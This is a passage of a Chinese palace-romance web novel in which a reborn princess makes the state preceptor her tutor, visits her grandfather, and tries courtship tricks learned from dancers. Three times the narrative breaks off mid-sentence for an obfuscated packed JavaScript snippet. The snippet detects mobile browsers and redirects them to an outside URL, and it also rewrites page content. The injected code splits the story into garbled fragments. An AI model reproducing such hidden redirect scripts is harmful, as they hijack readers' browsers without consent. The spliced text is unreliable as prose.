小太监压下气喘吁吁:“公主殿下,里面已经议完事了,皇上让您和国师大人一同进去。” 容钰点头,远远看见几个身穿朱红色官袍的人从御书房里走出来,他们走的不紧不慢,还在互相讨论着什么,似乎有所争执,但在看到容钰和许怀鹤的一瞬间都收了声,先对着容钰行了礼,再对许怀鹤拱了拱手。 容钰福身回了礼,许怀鹤也回了礼,但容钰能明显感觉到,这些官员对许怀鹤要热情许多,路过的时候还和许怀鹤说了好些话,笑眯眯的,大多数人都是想找许怀鹤讨几枚养气丹,或者希望许怀鹤有什么新的丹药,给皇上送完,也能捎带他们一份。 许怀鹤处理这些游刃有余,他言语和缓委婉,没有给出具体的时间,也没有做出一定给丹药的承诺,但这些大臣们个个都很满意,和他热络地道了别。 容钰在旁边看着这一幕,又想起了日后许怀鹤登基为帝,众臣拜服的场景。原来许怀鹤从这时起,就已经开始笼络人心了吗? 也不知道是站久了,或者是其他什么原因,容钰正欲往前走,小腿却突然一酸一软,长长的厚重斗篷被风一吹,恰巧裹住了她的脚踝。 容钰挣脱不开,脚下一崴,居然直直地朝着面前的青砖地跌去。 事发突然,容钰全然没有反应过来,她手里还有手炉,于是下意识地握紧了,但这样一来,她的身子失衡加剧,也空不出手撑地,为自己增加缓冲的力度,免得受伤更重。 眼看着容钰整个人都要栽倒,小太监吓得魂都飞了,脸色瞬间惨白,候在旁边的桂嬷嬷和春桃更是不顾宫规地叫出了声,冲上前去准备扶起容钰。 但是有一只手比她们更快,许怀鹤在容钰跌落地面的前一瞬快步上前,牢牢地握住了她的胳膊,手上用力,像提一件轻巧的物件一样,将容钰提了起来,等容钰懵懵站稳后快速松手,往后退回了他原本站着的地方,沉稳守礼,让人找不出半点错。 这么一倒一立的大幅度动作,容钰头上的珠钗都掉了不少,像花丛突然被人掠过,落了一地娇嫩花瓣,就连头发也松了,有几缕墨丝散落下来,从粉腮边拂过。 她神色愣愣,脸上还残余着惊慌失措,眼尾都带着余红,如同海棠春睡,看得人心都酥了。 在场所有人都是一愣,除了许怀鹤,他早已垂手站好,目光盯着地砖,不朝容钰投去半分,恪守本分。 桂嬷嬷快步走上前握住容钰的手,一边轻声安慰着,一边在内心暗暗皱眉,心想这国师也太不懂怜香惜玉了,公主这么娇贵的人,怎么能那么粗暴的对待呢? 但桂嬷嬷又知道,如果不是许怀鹤出手及时,公主殿下受到的伤害就远超此刻了,而且国师并未越矩,他们在场的人都看的清清楚楚,国师只是隔着厚厚的衣服,扶了把公主的手臂而已。 所以,他们还得好生感谢国师才是。 桂嬷嬷侧身连声向许怀鹤道了谢,春桃惊魂未定地跟上来,她微微抖着手,帮公主重新绾好头发。 地上掉落的珠钗春桃没去捡,像这样的钗子公主的妆奁里多的是,已经沾了灰的东西,不配再戴在公主殿下头上。 容钰被吓得小脸雪白,惊魂未定地看着地面,不敢想象自己要是当真磕了下去…… 她这会慢慢回神,摸了摸自己完好无损的脸,先是轻声对桂嬷嬷说了声“我没事”,随后对着许怀鹤福了福身,重新绾起的墨发微垂,语气里满满都是真心实意:“多谢国师相助,昭华感激不尽,等回了府,昭华必定重谢国师大人。” 许怀鹤淡淡颔首:“公主不必在意,举手之劳罢了。” 从头到尾许怀鹤都没有半分慌乱,他出手沉稳,宠辱不惊,端的是仙姿风骨,就连桂嬷嬷的心中都不由得升起了几分敬佩之意。 只有许怀鹤自己知道,他方才的紧张不输容钰本人,几乎是扑过去想要接住容钰的身躯,他下意识地想伸手扣住容钰的腰,将人抱在怀里护着。 但只是一个眨眼,他又意识到这宫里的眼线实在是太多了,自己这么做只会白白递出去把柄,指不定还会将公主殿下一同陷入危险的境地里。 所以他只是抓住了容钰的手臂,感受到容钰娇小的肩头从自己的胸口蹭过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090474|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带来一股酥酥麻麻的痒意,对方身上的馨香几乎将他整个人都裹住。 反应过来的小太监连滚带爬地进去通报了,这次从御书房里出来迎接他们的是皇帝身边的心腹,太太监李永,笑脸一堆就让人心生好感,难以对他起防备。 “嗳唷,公主殿下呀,”李永扭动着发福的身材快步迎上来,声音有些尖利,“您说,您在外面等这一遭是何苦呢,差点摔着了自个,您这样的贵体,要是有个磕碰,得多可惜,皇上得多心疼呐。” 李永脸上都是痛惜:“公主殿下,还有国师大人,快随奴才进御书房吧,皇上担心的茶盏都摔了一个呢。” 容钰点头:“本宫没什么大碍,这都是国师的功劳。” 被许怀鹤握过的地方有些疼,容钰不禁想许怀鹤的力气也真是大,居然能那样把她从半空里抓住又扶起来。 她缓步往前走着,行走间悄悄快速撩了下袖子,被许怀鹤抓过的胳膊果然红了一圈,是许怀鹤的指印,也不知明日会不会变成淤青。 余光里,许怀鹤看清了容钰所有的小动作,也注意到了容钰藕臂上的红痕。因为容钰皮肤白皙,皮肉细嫩,他的指印看上去犹为可怖,像是让容钰遭受了什么虐待,引得许怀鹤忍不住轻轻皱了下眉。 看来他日后得极其仔细才行。 容钰的心绪全都被刚才发生的事占住了,进了御书房也没有一开始入宫那么紧张,喘不上气,她和往常一样对父皇行了礼问了安,又等许怀鹤也行了礼,她才缓慢抬头,看向了坐在正位椅子上的男人。 两年前的父皇容貌并没有发生太大改变,或许是服用了养气丹的原因,看上去精神烁烁,眉眼间原本隐隐存着怒气,但是看见她的那一瞬又换成了担心,柔声细语地询问她:“可有伤着?” 容钰原以为自己会恐惧,会愤怒,但在对上父皇视线的那一刻,她却如同一个找到归家路的迷茫孩童,积累的委屈在这一刻猛地爆发,泪水像断了线的珠串一样滚下来,瞬间打湿了她的围脖。 皇上和许怀鹤同一时间讶然地直了直身子,又不约而同地想到,或许刚才的事确实是把容钰吓狠了,就像受了惊的稚子一样,这会儿缓过来才记起哭。 容钰哭的梨花带雨,眼角和鼻头都红红的,眼前一片模糊,眼泪根本止不住。 皇帝按着桌角,沉声说:“外面的人就是这么伺候公主殿下的?方才差点就出了事,昭华要是受了伤,他们担待的起吗?!来人……” “不,不,”容钰抽噎着阻止了皇上的话,她因为哭狠了喘不过气,一句话说的断断续续,“父皇,昭华,没事,别,罚她们。” 有容钰求情,皇帝没再提罚下人的事,只是脸色依旧沉沉,继而叹了口气:“行。你今日确实受了惊吓,朕让李永去库房里再给你挑几匣你喜欢的珍珠,别哭了。” “昭华不要这些,”容钰含着一汪泪水,说话终于顺畅了些,“求父皇,给昭华换一个老师吧。” 皇上花了几息时间,想起来他给容钰点的老师是当今大儒孔景华,在民间声望颇高,只是性格刚烈,又教导严厉,容钰这样娇气,怕是受不了了,所以今日来求他。 他本想拒绝,但容钰此刻实在可怜极了,泪水坠在眼角要落不落,脸如晚霞,话到嘴边还是换了句:“你想让谁当你的夫子?” “前日国师来府上讲经,深入浅出,通俗易懂,昭华听了深有感悟。”容钰说出早就想好的说辞,“昭华听闻国师学富五车,涉猎甚广,若是国师有空,昭华想请国师做我的夫子。” 他讲的好,公主殿下深有感悟?许怀鹤的神色有一瞬间的古怪,什么感悟,无聊到悄悄用袖子遮唇打哈欠的感悟,还是听得昏昏欲睡的感悟? 许怀鹤思索着容钰说这些话的用意,立刻微微弯腰,谦虚道:“不敢当,臣才疏学浅,差孔大儒远矣,公主实在高看臣了。” 容钰急急回了句“国师不必谦逊”,悄悄打量着上首皇帝的神色,见对方没有反对,便又像以前一样痴缠着撒了几句娇,果然哄得皇帝眉头松动,最后点了头。 许怀鹤内心波动,但面上依旧淡漠:“臣定当勉力,不负陛下和公主殿下看重。” 容钰高兴地弯起唇角,听到父皇复提起孔景华,顺水推舟地说:“永宁妹妹才思敏捷,不如就让孔大儒做永宁妹妹的夫子,免得耽误了永宁妹妹的才情。” 让永宁去挨孔景华的骂吧! 皇帝略一思索,同意了容钰的话。 解决了所求,还摆了永宁一道,容钰心情愉悦,知道许怀鹤和父皇有事要谈,也没在御书房多待,道别之后就坐软轿离开了皇宫。 在坐上前往镇国公府的马车时,容钰突然后知后觉地感到了丢脸,她双手覆面,脸颊滚烫,心想天呐,她刚刚竟然在许怀鹤的面前哭的那么惨! 她求父皇让许怀鹤做自己的夫子时,许怀鹤的神色和平常一样,看不出喜怒,也不知道许怀鹤究竟情不情愿,更不知道许怀鹤对自己到底是什么看法,只希望她别惹得许怀鹤厌烦就好。 许怀鹤到底喜欢什么样的女子?等有机会,她一定得试探一下。 6. 第 6 章 * 容钰的软轿才刚刚离开宫门,就有宫女一路垂首,快步进了贵妃所在的怀柔宫,轻声对着躺在软榻上的贵妃说了昭华公主进宫的事。 软榻上的陈贵妃侧躺着,更显得她身体曲线起伏,身姿丰盈,她单手撑着脸侧,肌肤如雪,虽然已经年过三十,但岁月并没有在她脸上留下什么痕迹,仍然如同二八少女,而且年龄的阅历还给她增添了一种独特的韵味,是专属于成熟女人的魅力。 听到小宫女的话,贵妃还没什么反应,坐在旁边绣女红的永宁就撇了撇嘴,语气里带着几分妒忌:“她又进宫来做什么?父皇又给她什么好东西了?” 宫女连忙把她打听到的事无巨细地讲了一遍。 听到容钰差点在御书房门前摔个跟头,永宁放下绣了一小半的祝寿图,有些愤愤地翻了个白眼:“怎么没把她摔死?磕坏了脸也好啊。” 小宫女的身体抖了抖,想装作没听见这句话,心里面却止不住的害怕,腿一软噗通跪了下去,惹得永宁皱起眉,忍不住又要骂。 就在小宫女以为今天逃不过一顿板子时,她听到了贵妃娘娘轻轻柔柔的声音:“好了,永宁。” 陈贵妃丹凤眼微挑,脸上带着常见的笑意,但仔细看去,那笑容又不达眼底。 她另一只手里正把玩着一个雕刻成麒麟形状的白色暖玉,在外面千金难买,这会随意在托盘里搁下,发出一声轻微的响动。 “哒。” 永宁倏而闭了嘴。 她连父皇都不怎么怕,却独独怕自己这位母妃。 陈贵妃的母家不过是小小的七品官员,但她能从才人一步步走到贵妃的位置,如今执掌后宫,等同于皇后,还牢牢拴着陛下的心,甚至能够左右皇帝的想法,靠的除了她的容貌和身段之外,就是她令人胆寒的手段。 “这些话在怀柔宫里说说便罢了,在外面切不可这样,”陈贵妃看着自己的女儿,“你越是端庄柔顺,就越显得昭华跋扈骄横,父皇本来就偏向你,对昭华就是做做样子给镇国公府看而已。你越乖巧,他就越讨厌,越厌恶昭华,明白吗?” 永宁连忙点头:“女儿晓得。” “再者,等本宫诞下皇长子,你连父皇的宠爱都不用争夺。”陈贵妃掐了掐指尖,她盯着那一点红痕,语气轻飘飘的,但任谁都能够听出里面的狠意,“生下太子的,只能是我。” 整个怀柔宫噤若寒蝉。 陈贵妃轻哼了声,她身侧的侍女回神,抬起脚尖,轻轻踢了跪在地上的小宫女一脚,小宫女得到授意,知道自己能够继续开口,忙不迭地颤声说完了后面发生在御书房的事情。 “你是说,昭华公主找皇上换了个老师,还把原本的夫子孔大儒让给了永宁?”陈贵妃问向跪在地上的小宫女。 得到肯定回答后,陈贵妃眉头微挑,摸了摸自己染着蔻丹的指甲,轻笑了一下:“有意思。” 昭华公主年幼时的启蒙,是先皇后亲自教的,先皇后病逝以后,就由她留下来的嬷嬷继续教公主读书,但公主总需要一个正经先生教导。 皇上提起这事时,她就在身侧,状似无意地提起了当世大儒孔景华,皇上也就点了孔景华作为昭华公主以后的夫子。 孔景华的学识丰厚程度和他脾气一样硬,并且他的严厉人尽皆知,陈贵妃太了解昭华了,像容钰那样骄傲又娇气的人,是绝对受不了孔景华这样的夫子的,但昭华又绝不会主动提起换个夫子,只会在心里憋着一股气。 长久之后,两人之间的矛盾必然显现,轻则容钰学不进半个字,重则不尊师长,闹得孔景华主动请辞。 而有一位这么好的老师,昭华都学不好的话,只能让皇上觉得她的确是朽木不可雕琢,比不上永宁聪慧,要是孔景华主动请辞,那就更好了,昭华在外的名声只会越来越差,读书人都会看不起她。 可是如今,昭华居然主动提起换一位夫子,还换成了皇帝身边最近的红人,国师许怀鹤,这其中到底有什么关窍? 不光这样,她还把孔景华这位大儒让给了永宁,陈贵妃霎时间思索了好几种可能,但她又想,像容钰这么愚蠢的人,是做不出来什么高深的阴谋诡计的。 可能就像容钰所说的那样,受不了孔景华的教导,所以单纯想换一个夫子罢了。 至于为什么换成许怀鹤,多半是觉得许怀鹤年轻脾气好,也不敢管束她,以及许怀鹤长得好,还带着整个京城中独一份的仙气吧。 于是陈贵妃又笑了一声:“她竟然把这样的好事让出来,那我们就不客气了。永宁,孔大儒可是难得的好老师,你跟着孔大儒好好学,说不定还能成为孔大儒的门下弟子,到时候天下读书人都会高看你一眼,你在外的美名也会愈发显现。” 听到母妃的话,永宁喜滋滋地应了声“是”,重新拿起祝寿图继续做起来,心里面却已经开始想象自己日后是如何风光得意,在容钰面前炫耀了。 容钰对这两母女的打算一无所知,她正在马车里整理仪容。 桂嬷嬷和春桃帮她重新上了妆,擦掉了被泪痕染过的脂粉,又用帕子沾了雪水,冰冰凉凉地在眼周揉了揉消肿,决计不让人看出她方才哭过,确定一切准备妥当之后,这才下了马车。 因着今日在皇宫受了惊,桂嬷嬷本来想劝公主先回去歇息一天,等明天再来镇国公府上拜访,但公主执意要来,桂嬷嬷也不好多劝。 担心再发生御书房前的事情,桂嬷嬷和春桃一左一右,紧紧扶着容钰的手臂,生怕自己稍微没留神,公主又出了什么意外。 容钰也知道她们今日被吓坏了,由着她们动作,她抬头看着熟悉的镇国公府大气的门匾,眼睛又有了几分热意,连忙憋了回去。 小门房在看到公主规格的马车时,就立刻转身进门,去通报公主殿下来了。镇国公府得到消息,上下瞬间都活动了起来,女眷们,特别是年龄小一点的小姐们,都非常期盼昭华公主殿下来府上做客。 因为昭华公主对她们十分和善,和外头的传言一点都不一样,而且出手阔绰,每次公主殿下来,她们都能得一些平日见不到的好东西,能够拿去给其他小姐妹炫耀。 这可惜她们这一次的期望却落空了,公主殿下没有来花厅和她们女眷喝茶聊天,寒暄家常,而是直接让府里的下人带她去了老太爷的书房。 容钰一边往书房走,一边听下人说,舅舅今天也还在军营练新兵,据说每天都和将士们同吃同住,很少回来。 容钰有些心疼,心想等回去后要多给舅舅送一些治跌打损伤的药,也不知国师会不会做这样的药?若是能,她就花重金去求一份。 到书房门口,下人恭敬地垂手在旁边等着,容钰抬手敲了敲门,漆了桐油的木门很快从内打开,须发皆白的顾培安笑眯眯地看着她:“钰儿。” 想起上辈的外祖父病亡的消息,容钰的眼圈猛地红了,她害怕外祖父看出异样,连忙眨了眨眼睛,脸上带起笑容,抬脚走进来,甜蜜蜜地喊着:“外祖父。” 顾培安脸上的慈祥笑意更深,他带着容钰进了书房,关上门:“钰儿怎么想起来书房找外祖父了?可是有人在外面欺负你了?” 也只有前左相和现任镇国公这样溺爱容钰的人,才会觉得这位娇蛮的小公主会被别人欺负,而不是欺负别人。 “没有,哪里有人敢欺负我。”容钰笑着掩盖了前日小寒宴上的糟心事,她沉默了一瞬,抬起眼眸,有些担忧地问,“外祖父,漠北有可能起兵攻打大夏吗?” 在容钰并不长远,也并不怎么广阔的认识中,她的外祖父,曾经的左相就是天底下最聪明,最有远见的人,有什么问题询问外祖父,就一定能够得到答案。 顾培安没有想到容钰会问出这样的问题,他的眉头逐渐皱起,有些沉重地开口:“漠北王庭狼子野心,又换了新的草原王,新草原王可不是什么懦弱无能之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090475|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈,他的儿子也个个骁勇,起兵攻打大厦是迟早的事。” “但是钰儿也不用忧心,”顾培安笑笑,“不是还有你舅舅在吗?如果真的起了战事,你舅舅肯定会请命驻守边关,阻挡漠北铁蹄的。” 可是偏偏就是容钰所担心的事情。 “有什么,”容钰咽下喉咙里的颤抖,急急地问,“那有什么办法,能够阻挡漠北进攻大夏吗?能够不让舅舅驻守边关,换一个人去打仗吗?” 顾培安的眼中有了几分惊异,他沉默了几息之后,有些严肃地问容钰:“钰儿,是不是有人在你面前说了些什么?” 容钰忧伤地垂眸,她要怎么告诉外祖父,这都是将来会发生的事情,漠北攻打大夏,大夏被迫和谈,送她去漠北和亲,而舅舅战死边关,外祖父也一病不起? “没有,没人和我说什么。”容钰缓缓道,她睫毛颤抖,“我只是,我只是做了个极其可怕的梦。” 容钰叹了口气,把未来会发生的事情当做梦的内容,转述给了外祖父,只是她下意识地隐瞒了许怀鹤登基那段。 而顾培安向来不相信这些怪力乱神之事,得知这是容钰的一场梦,他放松下来,宽慰道:“不过是个梦罢了,钰儿不必担忧,圣上决不可能同意和谈,更不可能让你去和亲,至于战败,更是无稽之谈。” 容钰也知道,自己说的这些很难让人信服,毕竟她上辈子到死都不敢相信,这些事真的会发生,每一件事都太荒谬了。她抿了抿唇:“那您也要多注重身体,我这去找郎中来给外祖父看一看,别有什么病根藏着。” 对上容钰关切的眼神,顾培安最终还是点了头,同意了容钰的请求,让容钰心安。 郎中很快就到了,但并没有诊出什么,反而还夸了一番顾培安身体健朗,老当益壮,容钰也只能藏起担心,勉强笑笑,和外祖父告别,改日再来府上拜访。 上了马车,容钰强撑起来的笑容立刻就垮了下去,她靠在春桃身上,只觉得前路扑朔迷离,自己现在唯一能抓住的,仿佛就只有许怀鹤这根救命稻草。 马车回到公主府已经临近傍晚,落日余晖洒在地面上,如同碎金。 容钰疲惫至极,被春桃和桂嬷嬷扶着下了马车,脚都有些发软,撑着回了房,坐在铜镜前闭着眼养神,任由侍女们给自己卸妆梳头,准备沐浴。 洁面后,她刚坐下饮了口热茶,就听到侍女进来说,国师派小道童送了缓解淤青的膏药。 容钰有些诧异许怀鹤的贴心,连忙让人传小道童进来说话,又送了厚厚的谢礼,感谢今日国师出手相助。 小道童看着两个大楠木箱,咽了咽唾沫,记起主子的吩咐,连忙道了谢,又说:“国师大人说,从明日起他便来公主府给公主殿下授课,每日申时开始,一个时辰便好。” 容钰对许怀鹤的好感不由得又增加了几分,许怀鹤这也太体贴了,这样她早上便可多睡一会儿,还能午休,不像孔大儒,每日辰时就要她背书,末时也要上一个时辰的课程,害得她早晨困倦不已,午后又无法休息,痛苦无比。 “好,”容钰的脸上多了笑意,“对了,你回去问问国师,有没有什么治跌打损伤,给行军之人用的伤药,若是有,我可出重金购买。” 收到小道童传话后,许怀鹤让人将两个大木箱搬回自己的卧房,在心里过了一遍如今京城之中,所有适龄男子的身份,又一一排除,最后落到了昭华公主的亲舅舅身上。 是给亲舅舅用,而不是旁的什么男人就好。许怀鹤起身,重新开了丹炉,漫不经心地对着另一个道童开口:“回去告诉你主子,我和昭华公主无甚交集,今日纯属无心之举,若是昭华公主摔伤,在场的人都逃不了干系。” “我也不清楚她为何点了我做夫子,但请你主子放心,计划绝无可能泄露。” “若有外人知晓,”许怀鹤的神色冷冷,君子的外表被撕开一道口子,“杀了便是。” 7. 第 7 章 * 红纱飘拂,一截荧白的腰肢随着靡靡的乐曲扭动,勾着人的目光,大片雪白的肌肤裸露,重要的羞耻的部分却被层层纱衣裹着,似雾非雾,让人欲伸手一探究竟。 这种香艳的场景并不发生在秦楼楚馆里,而是在公主府中,桂嬷嬷虎着脸站在旁边,容钰则一脸惊叹地托着粉腮,眼睛亮晶晶地盯着舞姬的动作,连连赞叹。 按照教坊司的规矩,在献舞时,她们舞姬需得时时向主人或客人暗送秋波,舞毕后更要美目流转,对着宴席上的人捂唇轻笑。 但此刻的舞姬却一眼不敢多看,规规矩矩地跳完了舞,只因她们面前已经有了一位光彩照人的绝世美人,光是想着要用那样的眼神去看尊贵的公主殿下,她们就有一种无地自容,东施效颦的羞耻感。 缠绵的乐声停止,跳完这一曲舞之后,几个舞姬立刻跪坐下来,安安静静,端端正正地等待着上首的公主发话。 “跳的好,”容钰高高兴兴地拍手,“赏她们!” 春桃连忙将准备好的碎银和珍珠递给了几个舞姬,又退回了公主身边,等几个舞姬受宠若惊地谢完恩之后,容钰对着她们招了招手:“大多数男子便是喜欢你们这样的么?” 听到这话,几个舞姬面面相觑,拿不准公主殿下到底是什么意思,还是为首的舞姬大着胆子点头回了容钰的话:“是,公主殿下,奴婢话糙了点,但男子都有男女欢爱的欲望,越是娇媚的女子,便越是能勾起他们的欲望。” 容钰若有所思地点了点头,目光在舞姬的衣饰上停留了片刻,有些为难地皱了皱眉,可她不能穿成这样去见许怀鹤,这也太孟浪了,也不合规矩,更不符合她的公主身份。 那要怎么办呢? 前两日她养病时看了些搜罗来的话本子,想从里面学习一二,那些话本子里的女子身份五花八门,唯有一本里的女子是公主,还是杜撰出来的不知哪个朝代的公主。 可不管什么样的话本子,不管女子是什么身份,什么境遇,都是男子主动,先表露了情意,女子这边才有所回应,最终二人心意逐渐相通,终成眷属。 她和许怀鹤之间不是这样的呀。 于是容钰红着脸小声问:“那除了你们这样之外,有没有什么法子,或者女子做出什么事情,表露爱意,让那些男子也倾心自己的?” 为首的舞姬脸上闪过犹豫之色,斟酌着回答:“也有,不过,都是些不入流的法子,奴婢说出来恐污了公主殿下的耳朵。” 从教房司里出来的舞姬不可能不通情爱,不通人事,她也见过许多怀春女子,她光是看一眼公主殿下的神色,就已经明白了大半,但舞姬想不明白,究竟是什么样的男子,值得公主殿下这样对待。 公主殿下何须问这些话呢?她光是站在那里,就足以让所有人为她神魂颠倒,一见倾心,完全不需要旁的手段。 她太美了,也太尊贵了,那位男子究竟是何许人也,面对这样的公主殿下都能不动心吗? 桂嬷嬷板着脸附和:“既然不入流,就不必讲给公主殿下听了。” 容钰软声哀求,微圆的眼睛水汪汪地眨着:“嬷嬷,让我听一听吧。” 桂嬷嬷向来抵挡不住容钰这样的撒娇,被那双眼睛一看就什么都忘了,心里想着有自己看着,公主殿下也走不了歪路,心一软就叹气答应了。 旁边的舞姬垂头,快速咬着字:“要先了解那男子喜欢什么样的女子,若是喜欢清丽的,那就打扮素净一些,若是喜欢腹有诗书的,那就得多读些书册,才能和男子有话可说。” “除此之外,就是假装无意地制造些接触,比如不小心掉了玉佩,看到男子帮忙去捡,自己也跟着去捡,双手相碰。也可以装醉,靠在对方身上,和他贴着耳说话。” 舞姬顿了顿:“以及,可以编造一些对方爱慕自己的假话,让人散播出去。或者制造英雄救美的情景,不小心跌倒,摔在了对方怀里。还有最……龌龊的,就是给对方下那种药,有了夫妻之实,逼对方娶了自己。” 桂嬷嬷已经开始后悔,心软答应了容钰的请求,让舞姬说了这么多乱七八糟的东西,旁边的春桃年纪小,现在脸上一片红霞,局促地站在旁边,头都不敢抬。 容钰也听得面红耳赤,她抬手用绣着梅花的帕子遮了脸颊,只露出一双含春的眼睛,胸口和后背都有一些烧的慌,声音软软:“嗯,本宫知晓了。春桃,给她一锭金子。” 舞姬又连忙谢了恩,她犹豫几息,还是开口道:“只是公主殿下,男子本就多情,朝秦暮楚,他若是能被那些方法俘获,那其他人同样也可以用那些方法抢走他的心。若那女子用了这些法子,特别是后面的那些,恐怕日后会后悔。” 舞姬们退下后,桂嬷嬷也跟着劝说了一番,容钰捏着帕子端起茶盏,抿了几口碧螺春,有些出神,也不知究竟有没有听进去。 午后许怀鹤就要来府上授课,容钰有些紧张,加上舞姬说的那番话,她心里隐隐躁动,午休没能睡好,起来重新绾发时连连打了两个哈欠。 上课的地点定在了书房,和孔大儒上课地方一样,书房里摆着两张对坐的长书桌,隔着大概一臂的距离,一张给容钰,一张留给许怀鹤。 容钰到的时候,许怀鹤已经来了。 今日是个晴天,许怀鹤没有像那日一样带着伞,他依旧穿着素白暗纹的白色长袍,黑色的领口边绣着尖嘴白鹤,黑色的大氅被小道童抱着放到了一边。 容钰知道许怀鹤身量高,但如今这么一看,才知道他比寻常男子高了不止半点。他坐在往日孔景华坐着的地方,原本的桌案高度适中,却只堪堪到达他的腰边,他手上随意拿了一卷书,细长有力的手指点着书面,听到声音,抬头朝她看来。 许怀鹤放下书,起身向她行礼:“拜见公主殿下。” “国师免礼。”容钰攥了下手心的帕子,舞姬的话还回荡在她的脑海里,“先前还说和国师以你我相称,不必拘礼,没想到如今该我尊称国师一声‘老师’了。” 她本来想把话语说的轻松些,但由于紧张,语调平平,让人听不出开玩笑的意思,但许怀鹤似乎并没有在意,他拱手,十分谦逊:“不敢当。能得公主殿下赏识,做公主的夫子,是我的荣幸。” 许怀鹤这会站起身,容钰才注意到他的腰间比平常多了一块玉佩,看上去品质不高,也不大,似乎雕刻成了兔子的形状,是女子更喜欢佩戴的款式。 容钰一颗心提了起来,她忍不住问:“国师……老师的玉佩是从哪里得来的?” 许怀鹤似乎愣了一下,没有马上回答,而容钰也意识到自己的言语有些冒失,抿了抿唇,为自己找了个借口:“我看这枚玉佩形状可爱,雕刻的人手艺也不错,便想找你问问是从哪里得来的,我也想找匠人做一个。” “这枚玉佩是臣的母亲留下的。”许怀鹤的语气中多了几分怀念,他伸手拿起腰间的玉佩,温热的手指拂过冰凉的白玉表面,“也是她亲手雕刻的。” 虽然没有刻意去了解过许怀鹤的背景,但上辈子容钰也听说过一些和许怀鹤有关的事情,比如许怀鹤年少失亲,父母双亡,道观的老道长见他可怜,又跟天资卓绝,起了惜才之心,将他收做了徒弟,供奉祖师爷。 而许怀鹤越长大,在外的名声就越显,据说他才华横溢,料事如神,会夜观天象,本事青出于蓝,比他的师父还厉害。 正巧又遇到父皇犯了头疾,太医院束手无策,许怀鹤主动献药,为父皇分忧,从此得到了做官的机会,被特封为国师,在观星楼和钦天监共事,一步步权势滔天,最后…… 容钰软声道:“令慈真是心灵手巧。” 许怀鹤轻笑了下,那笑容不辨含义,转瞬即逝,他并没有多说什么,只是伸手请容钰落座。 容钰压了压花一样的裙摆,端坐在书桌前,同时在心里悄悄松了口气,不是其他女子送的玉佩就好,许怀鹤应该还未心有所属吧。 “伤药还需做几日才能送来。”许怀鹤一边说着,一边翻开了书册,“不知公主殿下已经学到了《论语》的哪一篇?” “《里仁篇》,”容钰回答,“劳烦老师了。” 在听课前,容钰做好了准备,为了避免自己犯困,让许怀鹤觉得她不学无术,又笑话她,悄悄在袖子里藏了能够提神的香膏。 但是她没有想到的是,许怀鹤的讲解居然并不让她昏昏欲睡,比孔景华讲的通俗易懂多了,她也能静下心来学进去一些,甚至还能记住不少。 在听许怀鹤授课的时候,容钰双手揣在袖笼里,盯着许怀鹤的脸,目光从他的剑眉扫过,划过高挺的鼻梁,最后不自觉落在了他的薄唇上。 许怀鹤的唇色淡,就像他这个人一样淡,看上去好像对什么都不感兴趣,不迷恋权势,不耽于美色,如同故事里的白鹤,随时都能振翅高飞,远离尘世。 容钰便更不明白,为什么上辈子的许怀鹤最后会登基称帝,掌握这天下最大的权力了。 她收了思绪,回神听课,越听越入迷,身体不自觉前倾了些,和许怀鹤靠近了几分,没注意手碰到了书册,被长长的袖子一蹭,书册就被碰到了地上,刚好跌到了两张书案的中间,发出一声响。 许怀鹤顿了顿,他中止了授课,按着书桌的边缘,俯身去捡掉在地上的书册。他动作极快,容钰呆了呆,不知怎么地忽然又想起了舞姬说过的话,忽而倾身,同时伸手,朝着地上的书册伸去。 在她的有意之举下,她的手指不出意料地触碰到了许怀鹤的手背。 在那一瞬容钰像被滚火烫到了一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090476|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖忍不住颤抖了一下,但她强忍着没有立刻收回来,而是继续往前,却在无意中顺着许怀鹤的指缝摸了进去,又正好被准备拾起书册的许怀鹤的手指发力收拢,夹住了。 两个人都愣了。 两人的衣袖在地板上交叠,遮住了下面的书册,也遮盖住了两人几乎相扣的双手,许怀鹤浑身僵硬,他按着书册的手指微微曲起,克制住抓住容钰手腕的冲动,慢慢抬眼。 因为屋里熏着暖炉,容钰没带围脖,倾身的时候领口微敞,从许怀鹤的角度看去,甚至能看到她圆润微妙的起伏。 许怀鹤喉结微动,他突然觉得这书房里的暖炉熏的太过了,熏的他口干舌燥,他艰难移开视线,对上容钰颤抖的睫毛,还有羞得一片绯红的脸颊,面如芙蓉,秀色难掩,而对方眼神躲闪,根本不敢看他。 许怀鹤在心里叹了口气,快速默念着《清心咒》,压下翻滚起来,能吞噬一切的欲念。 他松了力道,让容钰细嫩柔软的手指从自己的指间滑落出去,接着拿起书册,放回了容钰的桌案上,语气平静:“公主殿下,时辰到了,今日的课业便到这里了。” 